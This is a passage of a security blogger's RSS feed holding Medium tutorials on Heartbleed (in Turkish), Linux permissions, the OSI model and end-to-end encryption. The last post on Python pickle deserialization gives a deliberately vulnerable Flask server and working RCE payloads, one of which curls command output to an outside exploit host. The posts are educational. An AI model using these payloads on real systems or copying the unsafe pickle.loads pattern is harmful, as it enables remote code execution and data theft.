yani 1kb veri göndermesi gerekir. Giden Heartbeat isteği üç ana kısımdan oluşur ilk kısım, <strong>mesajın tipidir</strong> örneğin bu mesajın bir Heartbeat mesajı olduğunu belirtilen kısımdır. İkinci kısım <strong>mesajın boyut kısmıdır</strong> burada giden verinin boyutu yer alır örneğin 1kb gibi. Son olarak üçüncü kısımda, <strong>veri kısmı</strong> yer alır burada 1kb boyutunda bir veri bulunur.</p><p><strong>Heartbleed</strong> zafiyeti, bir saldırganın giden <strong>Heartbeat</strong> isteğinin boyut değerini manipüle edip değiştirmesi ve sunucudan o boyutta bir veri almasıyla sağlanır. Bir saldırgan, sunucuya bir Heartbeat mesajı gönderir. Gönderilen isteğin içerisinde 1kb’lık veri olmasına rağmen saldırgan isteğin boyut kısmını örneğin 64kb ile değiştirerek sunucudan 64 kb bir veri almayı amaçlar. Sunucu, bu isteği aldıkan sonra isteğin boyut kısmına bakar, ve o boyutta bir veri istemciye döner. Normal şartlarda sunucu kendi belleğinde, isteğin boyut kısmı kadar bir yer ayırır daha sonra, aynı isteğin veri değerini bu ayırdığı bölgeye yazar ve bu ayrılmış yerdeki veriyi istemciye gönderir.</p><p>Buradaki zaafiyet, saldırganın giden isteğin boyut kısmını 64kb ile değiştirmesi, sunucunun 64 kb bir veriyi kendi belleğinde ayırması ve sonra isteğin veri kısmındaki veriyi bu kısma yazması ancak veri sadece 1kb boyutunda olduğu için istemciye gönderilen verideki geriye kalan 63kb’lık kısmın sunucun belleğindeki<strong> herhangi bir veri</strong> olabilmesidir. Bu tamamen şans eseri sunucunun belleğinde daha önce neler tuttuğuna göre değişir. Örneğin sunucu belleğinde daha önceden bir username ve password değeri tutmuş ise ve o tuttuğu kısım giden 63kb lık verinin içerisinde ise bu username ve password değerleri direkt olarak saldırganın eline geçmiş olur. Bu veriler tamamen gereksiz veriler olabileceği gibi, <strong>şifreler, oturum çerezleri, kullanıcı adları, gizli anahtarlar</strong> gibi son derece hassas veriler de olabilir.</p><p>Buradaki sorun sunucunun gelen Heartbeat isteğindeki boyut kısmını kontrol etmemesinden kaynaklanır. Denetleme mekanizmasındaki bu eksiklik, saldırgana sunucunun belleğine erişim yetkisi sağlar.</p><p><strong>Bir örnek verelim;</strong></p><p>Aşağıdaki çizdiğim kutu sunucunun belleği olsun her bir kutucuk 1 byte’ı temsil ediyor, ve istemcinin sunucuya 1 byte sunucunun da istemci 1 byte dönmesi gerekiyor olsun.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yMv-4CoRCfs7jq0WTfZ2w.png" /></figure><p>Ancak saldırgan giden verinin 1 byte değil de 4 byte olduğunu idda edebilir. Sunucu bunun üzerinde herhangi bir kontrol gerçekleştirmediğinden buna inenır ve belleğinde <strong>4 byte’lık bir yer ayırır,</strong> bunun 1 byte’ına gelen veriyi yazar ancak geriye kalan üç byte sunucunun belleğindeki herhangi bir şey olabilir ve bu verileri saldırgana gönderir. Bunları aşağıda “<strong>?</strong>” ile görebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXAn76sbBPUBEqyFkXNDbw.png" /></figure><p>Zaafiyet, <strong>7 nisan 2014 </strong>günü yamalanmış ve bu denetleme eksikliği giderilmiştir. Fakat bu yamalanma gerçekleşene kadar milyonlarca web sitesini etkilemiş ve hackerların milyonlarca kullanıcı bilgilerine, web sitelerinin sertifikalarına erişmesini sağlamıştır. Açık kapatıldıktan sonra güvenlik uzmanları, web sitelerine sertifikalarını yenilemeyi, kullanıcılara ise bilgilerini güncellemeyi önermiştir.</p><p><strong><em>Teşekkürler.</em></strong></p><p><strong><em>-dotesec</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f60ec5217af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Permission Operations.]]></title>
            <link>https://medium.com/@burakdemir1/linux-permission-operations-c24f8e4f91d9?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/c24f8e4f91d9</guid>
            <category><![CDATA[english]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[chmod]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[permission]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Fri, 18 Oct 2024 20:08:52 GMT</pubDate>
            <atom:updated>2024-10-18T20:08:52.582Z</atom:updated>
            <content:encoded><![CDATA[<p>If you ever used Linux systems and such a basic code like “<strong>ls -la</strong>” you probably see a result like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGkGtJQXXJo_Cn424P1EDw.png" /></figure><p>You can see the file names, the user name who owner the files, created date and some dashes and letters. In this article, we will explain what these dashes and letters are.</p><h3><strong>Linux permission impressions:</strong></h3><p>Linux-based systems are mostly used by command line. So, these impressions are also designed for command line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*l2wRcr87kqZrXZwRBgTxjg.png" /></figure><p>If we look at that picture we have 4 section for showing some permissions. The first one, (the one of the left) is shows us the file type. The file type value is helps us to define this file is a directory or not. This is only! In my example I have two txt files and the file type sections is not telling me txt, is only shows (-) this means this<strong> file is not folder.</strong></p><p>Second from left is shows us the permissions for the “<strong>owner</strong>”. In example, it means me. This shows how can “ <strong>I</strong> ” do to this file, because I created this file. We can see three letters (<strong>r, w, x</strong>) the “<strong>r</strong>” means “<strong>read</strong>”, the <strong>w</strong> means “<strong>write</strong>” and the “<strong>x</strong>” means <strong>execute</strong>.</p><p>Third from left its shows us the same value but <strong>for the group</strong>. The Linux systems have groups feature and we can add some users to some groups and this section its showing the permissions for the groups.</p><p>And the last one its shows the permission for the <strong>other users</strong>. which means they are not the owner of this file and they are not in the some groups but they are still there and this section is, showing permissions for them.</p><p>We learned the basics of how permissions are displayed in Linux. And now we can talk about the define permissions.</p><h3><strong>CHMOD</strong></h3><p>chmod (change mod), is a code for the define some permissions in Linux filesystem. Chmod generally using with 3 number like “<strong>chmod 755 cardigan.py</strong>” and each number is define values for the owner, group and other users.</p><p>In chmod:</p><ul><li>The number <strong>4</strong> represents <strong>read </strong>permission</li><li>The number <strong>2</strong> represents <strong>write </strong>permission</li><li>The number <strong>1</strong> represents <strong>execute </strong>permission</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*EL5lOrkpOWc6Eiq4j0Cejg.png" /></figure><p>In our example “<strong>chmod 755 cardigan.py</strong>” is defining the read, write and execute access to the owner (<strong>4 + 2 + 1 = 7</strong>), read and execute permission to the group (<strong>4 + 1 = 5</strong>) and as it same read and execute permission to the other users (<strong>4 + 1 = 5</strong>).</p><p>So if we run this code we can see the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*3dl22Z_fldcL7dD5zS1aAQ.png" /></figure><p>We can see the red line is a simple dash because this file is not a directory, in the yellow line we can see (<strong>rwx</strong>) and for the owner we used to assign the 7 value for this. In the blue and green lines we only can see “<strong>r</strong>” and “<strong>x</strong>” digits this represents the groups users and other users can read and execute but not write.</p><h3>What do the values in etc/passwd mean?</h3><p>You have may heard of <strong>passwd </strong>file, it is storing some information about the Linux users. When we read the passwd file the result should be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*WJSsp8GXp2XCfl2YLYcC3A.png" /></figure><p>There are too many things in here we are looking only root line because we are root. So lets get rid all of this and add some fancy things.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*M4gfEzwqsMTEjdizHeDIkg.png" /></figure><p>I have shown in the picture which values they all represent. The “<strong>x</strong>” section is “formerly” in now the password value is storing in the “<strong>/etc/shadow</strong>” file.</p><p><strong><em>Thank You</em></strong></p><p><strong><em>-dotesec</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c24f8e4f91d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why is there an OSI model?]]></title>
            <link>https://medium.com/@burakdemir1/why-is-there-an-osi-model-7dc03d013435?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dc03d013435</guid>
            <category><![CDATA[osi-model]]></category>
            <category><![CDATA[english]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Tue, 17 Sep 2024 21:30:23 GMT</pubDate>
            <atom:updated>2024-09-17T21:33:50.079Z</atom:updated>
            <content:encoded><![CDATA[<p>Two devices talking each other is a complex structure even not seem like that, when a device wants to talk another device there is ton of process under the hood. Today we are going to talk about what is required when two device talking each other and<strong> why we are need the OSI Model?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2XksDjr4zu2NpDAV_gvwWQ.png" /></figure><p>Lets talk about what is required when two people wants to talk? Firstly we need some environment, air in example. After we should speak :) it means we should send some voice waves to the target. Then <strong>we need to speak same language</strong>, if one people speak Turkish but other people speak Spanish they can’t understand each other.</p><p>Just like we must have some rules while we speak,<strong> computers must too</strong>. If there is no environment or computers don’t speak the same language they don’t understand each other and can’t talk.</p><p>This is what the OSI model crated for. We can call the OSI model the <strong>rules list.</strong> We have some rules Because, if is not exist a rules list, the companies and people can create their own protocols or “<strong>Language</strong>” and if they do that, they don’t communicate to other systems. What the OSI model wants to do is to create to a standard for computer systems.</p><p>The OSI model has 7 layers and these layers separate processes to avoid complexity and strand standardize. Here is the layers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*zNTAwLG336ppdVFZMWDyHQ.jpeg" /><figcaption>This image came from <a href="http://infosectrain.com/">infosectrain.com</a></figcaption></figure><ul><li><strong>Application layer</strong> is the top of our table. This page you are reading and any interface you interact with is in the Application layer. Also HTTP and HTTPS protocols are at this layer.</li><li><strong>Presentation layer</strong> is encrypts the data and just set data for the application layer. Also this layer have SSL/TLS protocols.</li><li><strong>Session layer</strong> is provides session management for the applications.</li><li><strong>Transport layer </strong>is provides end to end encryption, check the data flows and this layer have TCP, UDP protocols.</li><li><strong>Network layer</strong> is data transmission between networks. This layer have IP, ICMP etc. protocols.</li><li><strong>Data Link layer</strong> is provides physical addressing and control of data. Detects and corrects errors, transmits data using MAC addresses.</li><li><strong>Physical layer</strong> is transmits data with light signals and radio frequency. This layer have some fiber optic cables, switches etc.</li></ul><p>Finally, just for more understand we can do little example. And there it is what happen while we can going to <strong>google.com</strong>.</p><p><strong>Application layer</strong> will provide the required data with ethernet cables or wi-fi signals.</p><p><strong>Data Link layer</strong> is going to define our computer with our MAC address. In this layer DHCP gives us some IP address.</p><p><strong>Network layer</strong> is going to send the data packets to google.com.</p><p><strong>Transport layer</strong> is going to connection control with TCP, thus ensuring that data is transmitted completely and correctly.</p><p><strong>Session layer </strong>is going to manage the session in between our computer to Google’s server.</p><p><strong>Presentation Layer</strong> encrypts HTTPS request data using SSL/TLS and ensures the data is formatted correctly for transmission.</p><p><strong>Application Layer </strong>will render Google’s web page with data such as HTML, CSS and JavaScript and display it in our browser.</p><p>As a result the OSI model is provide us international rule for the communicate and allows us to speak the same language. I hope this article has been useful.</p><p><strong><em>Thank You</em></strong></p><p><strong><em>dotesec</em></strong></p><p><em>References:</em><br><a href="https://www.infosectrain.com/blog/osi-model-a-comprehensive-guide-for-exam-and-interview/">https://www.infosectrain.com/blog/osi-model-a-comprehensive-guide-for-exam-and-interview/</a></p><p><em>my inspirations for this article:</em></p><p><a href="https://x.com/mdisec">mdisec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dc03d013435" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uçtan Uca Şifreleme Nasıl Çalışır?]]></title>
            <link>https://medium.com/@burakdemir1/u%C3%A7tan-uca-%C5%9Fifreleme-nas%C4%B1l-%C3%A7al%C4%B1%C5%9F%C4%B1r-c0b8055dafdf?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0b8055dafdf</guid>
            <category><![CDATA[whatsapp]]></category>
            <category><![CDATA[end-to-end-encryption]]></category>
            <category><![CDATA[turkish]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privacy]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Sun, 15 Sep 2024 09:55:22 GMT</pubDate>
            <atom:updated>2024-09-15T09:55:22.657Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ih1WwuVhpqQYR0gXsa3H6Q.jpeg" /></figure><p>Günümüzde <strong>Whatsapp, Signal, Discord </strong>gibi mesajlaşma uygulamalarının yaygınlaşmasıyla buralarda ki mesajlaşmalarımızın <strong>güvenliği </strong>de konuşulması gereken bir konu haline gelmeye başladı. Oralarda ailenizle, eşinizle arkadaşlarınızla kısacası tüm yakın çevrenizle özel konuşmalar yapıyorsunuz, peki bu konuşmalarınız nasıl oluyor da siz ve karşı taraf dışında <strong>kimse tarafından okunamıyor?</strong></p><p>Uçtan uca şifreleme, mesajların güvenliğini ve gizliliğini sağlamak için geliştirilmiş bir tekniktir bu yöntemle mesajlar, o servisleri sağlayan sunucu da dahil olmak üzere mesajlaşanlar dışında kimse tarafından okunamaz.</p><p>Mesajınız, sizin cihazınıdan <strong>şifreli olarak çıkar </strong>ve sunucuya şifreli halde gider. Sunucu şifreli mesajınızı alır ve mesajlaştığınız karşı kişiye yönlendirir. Karşı taraf bu şifreli mesajı alır ve<strong> kendi içerisinde şifreyi çözer</strong> ve böylece mesajı okur. Şimdi bu işlemi daha detaylı olarak görelim.</p><h3>Uçtan Uca Şifreleme Nasıl Çalışır?</h3><p>Bu konuyu bir örnek üzerinde açıklayalım:</p><p>Mehmet ve Yusuf adında iki tane arkadaş var. Mehmetin ve yusufun ikisininde cihazlarında “<strong>Privite key</strong>” denilen ve çeşitli şifreleme işlemlerinde kullanılan anahtarları vardır. Bunlar, <strong>kesinlikle internete açık değil</strong> ve onların kendi telefonlarındadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BaxQ0lR3se81YVYUKIJ4RA.png" /></figure><p>Yukardaki örnek resimde Mehmet kullanıcısının gizli anahtarı “<strong>M</strong>”, Yusuf kullanıcısının gizli anahtarı ise “<strong>Y</strong>” dir. Bu anahtarlar, kimse ile paylaşılmaz ve sadece onların telefonlarında barındırılır, <strong>sunucu bu anahtarlara sahip değildir</strong>. Peki bu anahtarları kimse bilmeden nasıl iletişim sağlanacak? Bu noktada sunucu anahtarına (“<strong>W</strong>”) iş düşüyor.</p><p>Mehmet ve Yusuf herkese açık olan <strong>sunucu anahtarını alır</strong> ve kendi gizli anahtarlarıyla şifreleyerek <strong>benzersiz ve birbirinden farklı</strong> yeni anahtarlar üretirler.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lywMa9QqNc29Du-pH0Paug.png" /></figure><p>Görüldüğü üzere Mehmet kendi anahtarını sunucu anahtarı ile birleştirerek yeni bir anahtar üretti. Bu anahtara “<strong>Public Key</strong>” yani herkese açık anahtar denir. Aynı işlemleri yapan Yusuf’ta kendi P<strong>ublic Key</strong>’ini üretti. Mehmet ve Yusuf bu yöntemle kendi gizli anahtarlarını <strong>deşifre etmeden</strong> birbirleriyle paylaşabilecekleri anahtarlar üretebildiler.</p><p>Burada önemli olan nokta şudur Mehmet ve Yusufun herkese açık anahtarlarından <strong>Mehmet veya Yusufun gizli anahtarları ortaya çıkarılamaz</strong> yani “<strong>MW</strong>” anahtarından “<strong>M</strong>“ye veya “<strong>WY</strong>” anahtarından “<strong>Y</strong>” ye ulaşılamaz. Bunlar çeşitli matematiksel fonksiyonlara sokulmuş ve başlangıçtaki halleriden tamamen farklı bir hale dönmüş anahtarlardır.</p><p>Şu an Mehmet ve Yusuf’un paylaşabilecekleri anahtarları var ama bunlar <strong>birbirlerinden farklıdır</strong>, uçtan uca şifrelemenin gerçekleşmesi için Mehmet ve Yusuf’ta <strong>aynı anahtarın</strong> bulunması ve bu anahtarın sunucuda bulunmaması gerekir. Bunu gerçekleştirmek için Mehmet, Yusuf’un; Yusuf’ta Mehmet’in herkese açık anaharını alır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sEa8Oh2EhP27ihntbx5AXw.png" /></figure><p>Anahtarları aldıktan sonra ikiside aldıkları herkese açık anahtarı, <strong>kendi gizli anahtarlarıyla şifreler.</strong> Böylece Mehmet ve Yusuf’ta aynı anahtarlar olmuş olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9uaN9pDP6NaVXlJbtWflQ.png" /></figure><p>Son durumda, Mehmet’teki ve Yusuf’taki anahtar ‘<strong>MWY</strong>’ oldu ve her ikisi de bu anahtarı sunucunun haberi olmadan üretmeyi başardı. Sunucuda Mehmet’in veya Yusuf’un gizli anahtarı olmadığından,<strong> sunucu bu anahtarı üretemez.</strong></p><p>Bu işlemler yapıldıktan sonra Mehmet göndereceği mesajı yeni oluşturduğu “<strong>MWY</strong>” anahtarı ile şifreler ve bu şifrelenmiş değeri sunucuya gönderir. Sunucu bu değeri alır ve Yusuf kullanıcısına yönlendirir. Yusuf, bu değeri alır ve zaten “<strong>MWY</strong>” anahtarı onda da olduğundan bu şifreli değeri çözebilir ve mesaja erişebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TDGBeVTE1U2X3Wnm3fvYyg.png" /></figure><p>Bu yöntemle mesaj, <strong>Mehmet’in telefonundan çıkmadan şifrelenir</strong> ve <strong>Yusuf’un telefonuna girdikten sonra şifresi çözülür. </strong>Böylelikle ne sunucu ne de bir saldırgan, iki cihaz arasındaki şifreli mesajın şifresini çözemez ve mesajı okuyamaz.</p><p><strong><em>Teşekkürler</em></strong></p><p><strong><em>dotesec</em></strong></p><p><strong>Kaynakça:</strong></p><ol><li>Detaylı Yusuf Ipek videosu için <a href="https://youtu.be/dyG6LtwZQ40">tıklayın</a>.</li><li><a href="https://www.cloudflare.com/learning/privacy/what-is-end-to-end-encryption/">https://www.cloudflare.com/learning/privacy/what-is-end-to-end-encryption/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0b8055dafdf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Pickle Serialization Vulnerabilities]]></title>
            <link>https://medium.com/@burakdemir1/python-pickle-serialization-vulnerabilities-ca10613f1705?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca10613f1705</guid>
            <category><![CDATA[deserialization]]></category>
            <category><![CDATA[english]]></category>
            <category><![CDATA[serialization]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Wed, 04 Sep 2024 20:31:20 GMT</pubDate>
            <atom:updated>2024-09-04T20:31:20.606Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Serialization </strong>is the most method on web applications because working some big and complicated data could be hard and Serialization good at it But it can be vulnerable to a lot of attacks.</p><h4>What is Serialization and Deserialization:</h4><p><strong>Serialization </strong>is the process of converting complex data structures to stream bytes format and Deserialization is means converting stream bytes format data to data structures. But why it’s made? Why we should do this?</p><p>It’s hard to working with complex and big data and we should write them to the database, return the user correctly and quickly, store them securely etc.</p><p>And Serialize some data we can making them <strong>basic, easy to store and secure.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*w1vcM8-yUzcJ4INcWxrxjw.jpeg" /></figure><p>If we can serialize the data, we can store the serialized data quickly, and when we need to return it to the user or use it, we can <strong>deserialize </strong>it before utilizing it.</p><p>But there are some <strong>golden rules</strong> we must follow, <strong>First we should not serialize the user controllable data</strong>. Many web application serialize the user controllable data but doing some security checks on it. But in general, these checks are <strong>not enough</strong> ’cause it is close to impossible an operation like serialize by thinking every attack vector without knowing the <strong>full architecture of the language.</strong></p><p>Today we are take a look an python example just to clarify.</p><p>Here is the code of our example vulnerable server:</p><pre>from flask import Flask, request, render_template_string<br>import pickle<br>import base64<br><br>app = Flask(__name__)<br><br>@app.route(&#39;/load&#39;, methods=[&#39;POST&#39;])<br>def load_data():<br>    try:<br>        data = request.form[&#39;data&#39;]<br>        decoded_data = base64.b64decode(data)<br>        obj = pickle.loads(decoded_data)<br>        return render_template_string(&quot;&lt;p&gt;Data loaded successfully: {{ obj }}&lt;/p&gt;&quot;, obj=obj)<br>    except Exception as e:<br>        return f&quot;An error occurred: {str(e)}&quot;, 500<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run(debug=True)</pre><p>This example using <strong>python flask</strong> to server and using <strong>pickle </strong>for Serialization operations.</p><p>“<strong>pickle.loads</strong>” operation role is Deserialize the data and</p><p>“<strong>pickle.dumps</strong>” role is Serialize the data.</p><p>For using the application we should <strong>serialize and base64 encode</strong> the some values so, I wrote a code for it:</p><pre>import pickle<br>import base64<br><br>data = {&quot;key&quot;: &quot;TAYLOR&quot;, &quot;number&quot;: 1998}<br><br>pickled_data = pickle.dumps(data)<br>encoded_data = base64.b64encode(pickled_data).decode()<br><br>print(encoded_data)</pre><p>This code will serialize the data with “<strong>pickle.dumps</strong>” and Base64 encode the serialized data. I write this code because this is an example, normally this value is generated by the web application. Here is the result of the code:</p><blockquote>gASVIAAAAAAAAAB9lCiMA2tleZSMBlRBWUxPUpSMBm51bWJlcpRNzgd1Lg==</blockquote><p>If we send the request with this value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cc-juWLf_KArmZ15y3lKsw.png" /></figure><p>As you can see, server is <strong>deserialize and Base64 decodes</strong> our value.</p><p>The mistake on the code server is <strong>serialize the untrusted values and don’t any check on it.</strong></p><p>For the exploitation we can use a code like this:</p><pre>import base64<br>import pickle<br>import os<br><br>class Malicious:<br>    def __reduce__(self):<br>        return (os.system, (&#39;whoami&#39;,))  <br><br>payload = pickle.dumps(Malicious())<br>encoded_data = base64.b64encode(payload).decode()<br><br><br>print(encoded_data)</pre><p>This code is creating a <strong>malicious </strong>class and this class is running “<strong>whoami</strong>” command but, if we try this <strong>RCE </strong>directly on our server value will be processed truly but <strong>we can’t see any result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EdzGIGgR_CoeH1pzVHoNbQ.png" /></figure><p>This is a <strong>blind RCE</strong> we can easily exploit with this code.</p><pre>import base64<br>import pickle<br>import os<br><br>class Malicious:<br>    def __reduce__(self):<br>        return (os.system, (&#39;curl h8q5sjv5j4zsxkdtwmwg18uf86ex2oqd.oastify.com/?a=$(whoami)&#39;,))  <br><br>payload = pickle.dumps(Malicious())<br>encoded_data = base64.b64encode(payload).decode()<br><br><br>print(encoded_data)</pre><p>This code will send a HTTP request to <strong>our exploit server </strong>with “<strong>a=$(whoami)</strong>” header and “<strong>whoami</strong>” command will be run and the result return to our exploit server.</p><p>We ran the code and get a Base64 value, if we send the request with this value, we still didn’t see anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNSHKWR267pExldvhFKw2Q.png" /></figure><p>But if we check our exploit server <strong>we got a message.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bTr6ggGv8WhOkLrwYEgBVQ.png" /></figure><p>And here it is! “<strong>whoami</strong>” code ran and returned us the result.</p><p><strong>Unsecure Deserilization</strong> is major problem for web applications. In this example we exploited <strong>RCE </strong>with serialization but even in cases where remote code execution is not possible, insecure deserialization can lead to <strong>privilege escalation, arbitrary file access, and denial-of-service attacks.</strong></p><p><strong><em>Thank you</em></strong></p><p><strong><em>dotesec</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca10613f1705" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>